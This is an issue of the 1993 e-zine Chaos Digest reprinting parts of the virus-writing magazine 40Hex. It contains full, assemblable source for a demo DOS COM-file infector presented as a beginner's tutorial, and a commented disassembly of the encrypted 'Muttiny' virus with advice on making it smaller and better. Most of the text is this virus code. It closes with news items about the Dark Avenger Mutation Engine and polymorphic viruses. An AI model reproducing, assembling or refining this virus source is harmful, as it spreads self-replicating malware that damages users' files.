Chaos Digest              Mardi 22 Juin 1993        Volume 1 : Numero 60
                           ISSN 1244-4901

      Editeur: Jean-Bernard Condat ([email protected])
      Archiviste: Yves-Marie Crabbe
      Co-Redacteurs: Arnaud Bigare, Stephane Briere

TABLE DES MATIERES, #1.60 (22 Juin 1993)
File 1--40H VMag Number 7 Volume 2 Issue 3 #003(2)-005(1) (reprint)

Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
               [email protected]
with a mail header or first line containing the following informations:
                   X-Mn-Admin: join CHAOS_DIGEST

The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
groups.

Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
466893.  Back issues of ChaosD can be found on the Internet as part of the
Computer underground Digest archives. They're accessible using anonymous FTP:

       * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
       * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
       * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
       * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
       * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
       * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
       * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
       * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos

CHAOS DIGEST is an open forum dedicated to sharing French information among
computerists and to the presentation and debate of diverse views. ChaosD
material may be reprinted for non-profit as long as the source is cited.
Some authors do copyright their material, and they should be contacted for
reprint permission.  Readers are encouraged to submit reasoned articles in
French, English or German languages relating to computer culture and
telecommunications.  Articles are preferred to short responses.  Please
avoid quoting previous posts unless absolutely necessary.

DISCLAIMER: The views represented herein do not necessarily represent
           the views of the moderators. Chaos Digest contributors
           assume all responsibility for ensuring that articles
           submitted do not violate copyright protections.

----------------------------------------------------------------------

Date: Tue May 11 09:24:40 PDT 1993
From: [email protected] (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Number 7 Volume 2 Issue 3 #003(2)-005(1) (reprint)


--------Tear line----------------------------------------------------------

DumbVirus segment
Assume    CS:DumbVirus
Org 100h                 ; account for PSP

;Dumb Virus - 40Hex demo virus
;Assemble with TASM /m2

Start:  db      0e9h     ; jmp duh
       dw      0

;This is where the virus starts
duh:    call    next
next:   pop     bp                   ; bp holds current location
       sub     bp, offset next      ; calculate net change

;Restore the original first three bytes
       lea     si, [bp+offset stuff]
       mov     di, 100h
;Put 100h on the stack for the retn later
;This will allow for the return to the beginning of the file
       push    di
       movsw
       movsb

;Change DTA from default (otherwise Findfirst/next will destroy
;commandline parametres
       lea     dx, [bp+offset dta]
       call    set_dta

       mov     ah, 4eh           ;Find first
       lea     dx, [bp+masker]   ;search for '*.COM',0
       xor     cx, cx            ;attribute mask - this is unnecessary
tryanother:
       int     21h
       jc      quit              ;Quit on error

;Open file for read/write
;Note: This fails on read-only files
       mov     ax, 3D02h
       lea     dx, [bp+offset dta+30] ;File name is located in DTA
       int     21h
       xchg    ax, bx

;Read in the first three bytes
       mov     ah, 3fh
       lea     dx, [bp+stuff]
       mov     cx, 3
       int     21h

;Check for previous infection
       mov     ax, word ptr [bp+dta+26]       ;ax = filesize
       mov     cx, word ptr [bp+stuff+1]      ;jmp location
       add     cx, eov - duh + 3              ;convert to filesize
       cmp     ax, cx                         ;if same, already infected
       jz      close                          ;so quit out of here

;Calculate the offset of the jmp
       sub     ax, 3                          ;ax = filesize - 3
       mov     word ptr [bp+writebuffer], ax

;Go to the beginning of the file
       xor     al, al
       call    f_ptr

;Write the three bytes
       mov     ah, 40h
       mov     cx, 3
       lea     dx, [bp+e9]
       int     21h

;Go to the end of the file
       mov     al, 2
       call    f_ptr

; And write the rest of the virus
       mov     ah, 40h
       mov     cx, eov - duh
       lea     dx, [bp+duh]
       int     21h

close:
       mov     ah, 3eh
       int     21h

;Try infecting another file
       mov     ah, 4fh                        ;Find next
       jmp     short tryanother

;Restore the DTA and return control to the original program
quit:   mov     dx, 80h                        ;Restore current DTA to
                                              ;the default @ PSP:80h
set_dta:
       mov     ah, 1ah                        ;Set disk transfer address
       int     21h
       retn
f_ptr:  mov     ah, 42h
       xor     cx, cx
       cwd                                    ;equivalent to: xor dx, dx
       int     21h
       retn

masker  db      '*.com',0
;Original three bytes of the infected file
;Currently holds a INT 20h instruction and a null byte
stuff   db      0cdh, 20h, 0
e9      db      0e9h
eov equ $                                      ;End of the virus
;The following variables are stored in the heap space (the area between
;the stack and the code) and are not part of the virus that is written
;to files.
writebuffer dw  ?                              ;Scratch area holding the
                                              ;JMP offset
dta         db 42 dup (?)
DumbVirus    ENDS
            END     Start

---------------------------------------------------------------------------

Do not worry if not everything makes sense to you just yet.  I tried to
keep the example virus as simple as possible, although, admittedly, the
explanations were a bit cryptic.  It should all come to you in time.

For a more complete discussion of nonoverwriting virii, pick up a copy of
each of the first three parts of my virus writing guide (the phunky, the
chunky, and the crunchy), where you may find a thorough tutorial on
nonresident virii suitable for any beginning virus programmer.

+++++

40Hex Number 7 Volume 2 Issue 3                                     File 004

I picked up a file touted as "a very small virus" and decided to figure out
what this virus could be. SCAN86-B turned up nothing, so I had to disassemble
it.  The name was intriguing -- muttiny.  I thought it was a misspelling of
mutiny, but I was terribly wrong.  After a minute, I had infected a carrier
file and decrypted the virus.  It took but one minute more to disassemble and
maybe half an hour to comment.  Argh!  It is yet another TINY strain!

I do not know who the author is, but I had a few comments to make. This
virus, quite frankly, sucks. It is a pitiful excuse for programming. Many,
many improvements can be made.  I have put comments on how this virus could
be made much mo' bettah.  I must tell whoever wrote the virus that TINY is
not so tiny anymore.  The original TINYs were 150 bytes long.  Now look at
it!  It is over twice that size!  I suppose this virus is the "MUTated TINY"
variant, but I'd prefer to call it "Messed Up Totally TINY".  The author MUST
clean up the virus before distributing it to everyone!  One further
improvement would be to make this virus a generic COM infector, which can be
done in well under 200 bytes, with all the "functionality" of the current
version.  Note that this time I did not rewrite it, a la Tiny F 1.1, but
rather merely suggested improvements.  This way, you can easily see the bugs
for yourself and learn from the author's pitfalls.

             Dark Angel of PHALCON/SKISM     4/23/92

P.S. This is a byte-to-byte match of the virus I picked up -- even the
    labels are in their correct offsets.  The file below should match
    the source code of the original carrier file exactly. Assemble w/
    TASM /m2.

P.P.S. This is the last Tiny strain to be published in 40Hex. For some
    Reason, Tiny strains seem to come up again and again over here. I
    think it is hightime to put the Tiny series in its grave where it
    belongs.  Amen.  So be it.                                     DA

muttiny         segment byte public
               assume  cs:muttiny, ds:muttiny

               org     100h

start:          db      0e9h, 5, 0              ;jmp     startvir
restorehere:    int     20h
idword:         dw      990h
;The next line is incredibly pointless. It is a holdover from one
;of the original TINYs, where the id was 7, 8, 9.  The author can
;easily save one byte merely by deleting this line.
               db      09h
startvir:
               call    oldtrick                ;Standard location-finder
oldtrick:       pop     si
;The following statement is a bug -- well, not really a bug, just
;extraneous code.  The value pushed on the stack in the following
;line is NEVER popped off. This is messy programming, as one byte
;could be saved by removing the statement.
               push    si
               sub     si,offset oldtrick
               call    encrypt                 ;Decrypt virus
               call    savepsp                 ;and save the PSP
;NOTE:  The entire savepsp/restorepsp procedures are unnecessary.
       See the procedures at the end for further details.
               jmp     short findencryptval    ;Go to th rest of the virus
;The next line is another example of messy programming -- it is a
;NOP inserted by MASM during assembly.  Running this file through
;TASM with the /m2 switch should eliminate such "fix-ups."
               nop
;The next line leaves me guessing as to the author's true intent.
               db      0

encryptval      dw      0h

encrypt:
               push    bx                      ;Save handle
;The following two lines of code could be condensed into one:
;      lea bx, [si+offset startencrypt]
;Once again, poor programming style, though there's nothing wrong
;with the code.
               mov     bx,offset startencrypt
               add     bx,si
;Continueencrypt is implemented as a jmp-type loop. Although it's
;fine to code it this way, it's probably easier to code using the
;loop statement.  Upon close inspection, one finds the loop to be
;flawed. Note the single inc bx statement. This essentially makes
;the encryption value a a byte instead of a word, which decreases
;the number of mutations from 65,535 to 255.  Once again, this is
;just poor programming, very easily rectified with another inc bx
;statement. Another optimization could be made.  Use a
;      mov dx, [si+encryptval]
;to load up the encryption value before the loop, and replace the
;three lines following continueencrypt with a simple:
;      xor word ptr [bx], dx
continueencrypt:
               mov     ax,[bx]
               xor     ax,word ptr [si+encryptval]
               mov     [bx],ax
               inc     bx
;The next two lines should be executed BEFORE continueencrypt. As
;it stands right now, they are recalculated every iteration which
;slows down execution somewhat. Furthermore, the value calculated
;is much too large and this increases execution time. Yet another
;improvement would be the merging of the mov/add pair to the much
;cleaner lea cx, [si+offset endvirus].
               mov     cx,offset veryend       ;Calculate end of
               add     cx,si                   ;encryption: Note
               cmp     bx,cx                   ;the value is 246
               jle     continueencrypt         ;bytes too large.
               pop     bx
               ret
writerest:                                      ;Tack on the virus to the
               call    encrypt                 ;end of the file.
               mov     ah,40h
               mov     cx,offset endvirus - offset idword
               lea     dx,[si+offset idword]   ;Write starting from the id
               int     21h                     ;word
               call    encrypt
               ret

startencrypt:
;This is where the encrypted area begins.  This could be moved to
;where the ret is in procedure writerest, but it is not necessary
;since it won't affect the "scannability" of the virus.

findencryptval:
               mov     ah,2Ch                  ;Get random #
               int     21h                     ;CX=hr/min dx=sec
;The following chunk of code puzzles me. I admit it, I am totally
;lost as to its purpose.
               cmp     word ptr [si+offset encryptval],0
               je      step_two
               cmp     word ptr [si+offset encryptval+1],0
               je      step_two
               cmp     dh,0Fh
               jle     foundencryptionvalue
step_two:                                       ;Check to see if any
               cmp     dl,0                    ;part of the encryption
               je      findencryptval          ;value is 0 and if so,
               cmp     dh,0                    ;find another value.
               je      findencryptval
               mov     [si+offset encryptval],dx
foundencryptionvalue:
               mov     bp,[si+offset oldjmp]   ;Set up bp for
               add     bp,103h                 ;jmp later
               lea     dx,[si+filemask]        ;'*.COM',0
               xor     cx,cx                   ;Attributes
               mov     ah,4Eh                  ;Find first
tryanother:
               int     21h
               jc      quit_virus              ;If none found, exit

               mov     ax,3D02h                ;Open read/write
               mov     dx,9Eh                  ;In default DTA
               int     21h

               mov     cx,3
               mov     bx,ax                   ;Swap file handle register
               lea     dx,[si+offset buffer]
               mov     di,dx
               call    read                    ;Read 3 bytes
               cmp     byte ptr [di],0E9h      ;Is it a jmp?
               je      infect
findnext:
               mov     ah,4Fh                  ;If not, find next
               jmp     short tryanother
infect:
               mov     ax,4200h                ;Move file pointer
               mov     dx,[di+1]               ;to jmp location
               mov     [si+offset oldjmp],dx   ;and save old jmp
               xor     cx,cx                   ;location
               call    int21h
               jmp     short skipcheckinf
;Once again, we meet an infamous MASM-NOP.
               nop
;I don't understand why checkinf is implemented as a procedure as
;it is executed but once.  It is a waste of code space to do such
;a thing. The ret and call are both extra, wasting four bytes. An
;additional three bytes were wasted on the JMP skipping checkinf.
;In a program called "Tiny," a wasted seven bytes is rather large
;and should not exist.  I have written a virus of half the length
;of this virus which is a generic COM infector. There is just too
;too much waste in this program.
checkinf:
               cmp     word ptr [di],990h      ;Is it already
               je      findnext                ;infected?
;The je statement above presents another problem. It leaves stuff
;on the stack from the call.  This is, once again, not a critical
;error but nevertheless it is extremely sloppy behavior.
               xor     dx,dx
               xor     cx,cx
               mov     ax,4202h
               call    int21h                  ;Goto end of file
               ret
skipcheckinf:
               mov     cx,2
               mov     dx,di
               call    read                    ;read 2 bytes
               call    checkinf
;The next check is extraneous.  No COM file is larger than 65,535
;bytes before infection simply because it is "illegal."  Yet ano-
;ther waste of code.  Even if one were to use this useless check,
;it should be implemented, to save space, as or dx, dx.
               cmp     dx,0                    ;Check if too big
               jne     findnext

               cmp     ah,0FEh                 ;Check again if too big
               jae     findnext
               mov     [si+storejmp],ax        ;Save new jmp
               call    writerest               ;    location
               mov     ax,4200h                ;Go to offset
               mov     dx,1                    ;1 in the file
               xor     cx,cx
               call    int21h

               mov     ah,40h                  ;and write the new
               mov     cx,2                    ;jmp location
               lea     dx,[si+storejmp]
               call    int21h
;I think it is quite obvious that the next line is pointless.  It
;is a truly moronic waste of two bytes.
               jc      closefile
closefile:
               mov     ah,3Eh                  ;Close the file
               call    int21h
quit_virus:
               call    restorepsp
               jmp     bp

read:
               mov     ah,3Fh                  ;Read file
;I do not understand why all the int 21h calls are done with this
;procedure.  It is a waste of space. A normal int 21h call is two
;bytes long while it's three bytes just to call this procedure!
int21h:
               int     21h
               ret

               db      'Made in England'

;Note: The comments for savepsp also apply to restorepsp.

;This code could have easily been changed to a set active DTA INT
;21h call (AH = 1Ah).  It would have saved many, many bytes.

savepsp:
               mov     di,0
;The following is a bug.  It should be
;      mov cx, 50h
;since the author decided to use words instead of bytes.
               mov     cx,100h
               push    si
;The loop below is dumb.  A simple rep movsw statement would have
;sufficed.  Instead, countless bytes are wasted on the loop.
storebytes:
               mov     ax,[di]
               mov     word ptr [si+pspstore],ax
               add     si,2
               add     di,2
               loop    storebytes
               pop     si
               ret

restorepsp:
               mov     di,0
               mov     cx,100h                 ;Restore 200h bytes
               push    si
restorebytes:
               mov     ax,word ptr [si+pspstore]
               mov     [di],ax
               add     si,2
               add     di,2
               loop    restorebytes
               pop     si
               ret

oldjmp          dw      0
filemask        db      '*.COM',0
idontknow1      db      66h                     ;Waste of one byte
buffer          db      00h, 00h, 01h           ;Waste of three bytes
storejmp        dw      0                       ;Waste of two bytes
;endvirus should be before idontknow1, thereby saving six bytes.
endvirus:
idontknow2      db      ?, ?
pspstore        db      200 dup (?)             ;Should actually be
idontknow3      db      2ch dup (?)             ;100h bytes long.
veryend:                                        ;End of encryption
muttiny         ends
               end     start

+++++

40Hex Number 7 Volume 2 Issue 3                                    File 005

   Well, by far the most incredible creation in the virus community that
has surfaced is the MtE.  We aren't going to go into details about it, but
we are definately going to give you as much news as we have collected.

In this file:

Article 1:   A note from Vesselin Bontchev
Article 2:   Steve Gibson tells us how to avoid polymorphic viruses
Article 3:   An article from Newsday about McAfee
Article 4:   NIST Expert Warns Feds to Find Better Ways to Head Off Viruses
Article 5:   Some messages posted on Smartnet about MtE


<<<<<<<<<<
Article 1:
<<<<<<<<<<

====From the Virus-L Digest via NIST=====
Date:    10 Feb 92 20:40:23 +0000
>From:    bontchev fbihh.informatik.uni-hamburg.de (Vesselin Bontchev)
Subject: Re: DAV/Sourcer/Rape (PC)

RUTSTEIN HWS.BITNET writes:

> First, has anyone heard about Dark Avenger's latest?  I got a report
> secondhand last week that he'd come up with a new gem...I believe the
> report came from a researcher in the UK.  Fridrik/Vesselin/others, can
> you confirm/deny this report?

Yeah, I can confirm it... :-( And it is a first-hand information,
since I have it. The long-rumored Mutating Engine is real and is
circulated to several virus exchange BBSes... :-(( The bad news is
that the damn thing really mutates, no kidding! It comes as an OBJ
file, which is supposed to be linked to any virus, with a detailed
do-it-yourself guide, and with a demo virus. The demo virus is in
source, but the source of the Mutating Engine (called MtE) is not
provided. According to the docs, what we have is version 0.90-beta of
the MtE, but version 0.91 is also known to exist... I'm wondering what
will be implemented more in version 1.00... :-(((

The damn thing is really difficult to crack! I mean, it contains no
encryption or anti-debugging and anti-disassembling thechniques, but
it mutates too well... I have observed changing of encryption
algorithms, random bytes padding, usage of different ways to express
one and the same algorithm (yeah, that's right - different ways, not
just modifying the opcodes and inserting do-nothing instructions)...
The currently most mutating virus (V2P6Z) is a toy compared to it...

The worst of all is that just anybody can sit and use it to create a
virus. Well, some experience in assembly language programming is
needed, so the kids from RABID, NukE, and the other punk virus writing
groups that use to write overwriting viruses in high-level languages
will have a little bit of trouble to learn how to use it... But a very
little bit!

Currently there are only two viruses, which use the MtE. The first is
the demo virus in the package (a silly, non-resident, COM file
infector, infects only the files in the current directory), and a
virus, called Pogue, which has been available on some VX BBSes in the
USA. McAfee's SCAN 86-B claims to be able to detect the Pogue virus.
Unfortunately, I haven't had the time to verify this (I recieved the
virus just two days ago). There are reports that in fact not all
possible variants of the virus are detected. SCAN 86-B DOES NOT detect
the MtE for sure - I tested it on the demo virus supplied with the
package.

As a conclusion, don't panic. Currently there are only two viruses,
using the MtE and both are too silly to pose a serious threat. Copies
of the MtE have been provided to several anti-virus researchers (no,
don't write me to ask for a copy, you won't get one), including McAfee
Associates, Fridrik Skulason, Dr. Solomon, etc., so there are a lot of
people working right now on the problem. The good news is that once we
learn to recognize the MtE, we'll be able to detect -any- new viruses
that are using it.

Oh, yes, just out of interest. The whole package comes in a neat ZIP
archive, with -AV code for "CrazySoft, Inc.". The Bulgarian hackers
have demonstrated again that the -AV authenticity verification in
PKZIP is just crap, so PLEASE DO NOT RELY ON IT!


<<<<<<<<<<
Article 2:
<<<<<<<<<<

>From InfoWorld Magazine
Tech Talk
by Steve Gibson

AT LAST, HOW TO PROTECT YOURSELF FROM POLYMORPHIC VIRUSES

 My past two columns concerning the threat presented by polymorphic
viruses triggered an informative conversation with the industry's
chief virus researcher, John McAfee. During that conversation I
learned that things are even worse than I'd supposed.

 It turns out that the "Dark Avenger" bulletin board system, which
disseminates virus code, has recently published source code for the
Dark Avenger Mutation Engine. The Mutation Engine is nothing less than
a first-class code kernel that can be tacked onto any existing or
future virus to turn it into a nearly impossible to detect
self-encrypting virus.

 My examination of a sample virus encrypted by the Mutation Engine
provided by McAfee revealed alarming capabilities. Not only do the
Dark Avenger Mutation Engine viruses employ all of the capabilities I
outlined in last week's column, but they also use a sophisticated
reversible encryption algorithm generator.

 The Mutation Engine uses a meta-language-driven algorithm generator
that allows it to create an infinite variety of completely original
encryption algorithms. The resulting unique algorithms are then salted
with superfluous instructions, resulting in decryption algorithms
varying from 5 to 200 bytes long.

 Because McAfee has already received many otherwise known viruses
that are now encapsulated with the Mutation Engine's polymorphic
encryption, it's clear that viruses of this new breed are now
traveling among us.

 It is clear that the game is forever changed; the sophistication of
the Mutation Engine is amazing and staggering. Simple pattern-matching
virus scanners will still reliably detect the several thousand
well-known viruses; however, these scanners are completely incapable
of detecting any of the growing number of viruses now being cloaked by
the Dark Avenger Mutation Engine.

 So what can we ultimately do to thwart current and future software
viruses? After brainstorming through the problem with some of our
industry's brightest developers and systems architects, I've reached
several conclusions.

 First, scanning for known viruses within executable program code is
fundamentally a dead end. It's the only solution we have for the
moment, but the detectors can only find the viruses they are aware of,
and new developments such as the Mutation Engine render even these
measures obsolete.

 Second, detecting the reproductive proclivities of viruses on the
prowl is prone to frequent false alarms and ultimately complete
avoidance. With time the viruses will simply circumvent the detectors,
at which time the detectors will only misfire for self-modifying
benign programs.

 Third, the Achilles' heel of our current DOS-based PC is its
entirely unprotected nature. As long as executable programs (such as
benign and helpful system utilities) are able to freely and directly
access and alter the operating system and its file system, our
machines will be vulnerable to deliberate attack.

 So here's my recommendation.

 Only a next-generation protected-mode operating system can enforce
the levels of security required to provide complete viral immunity. By
marking files and code overlays as "read and execute only" and by
prohibiting the sorts of direct file system tampering performed by our
current crop of system utilities, such operating systems will be able
to provide their client programs with complete viral immunity.

 The final Achilles' heel of a protected-mode operating system is the
system boot process, before and during which it is still potentially
vulnerable. By changing the system ROM BIOS' boot priority to favor
hard disk over floppy, this last viral path can be closed and blocked
as well.

(Steve Gibson is the developer and publisher of SpinRite and
president of Gibson Research Corp., based in Irvine California...)

------------------------------

End of Chaos Digest #1.60
************************************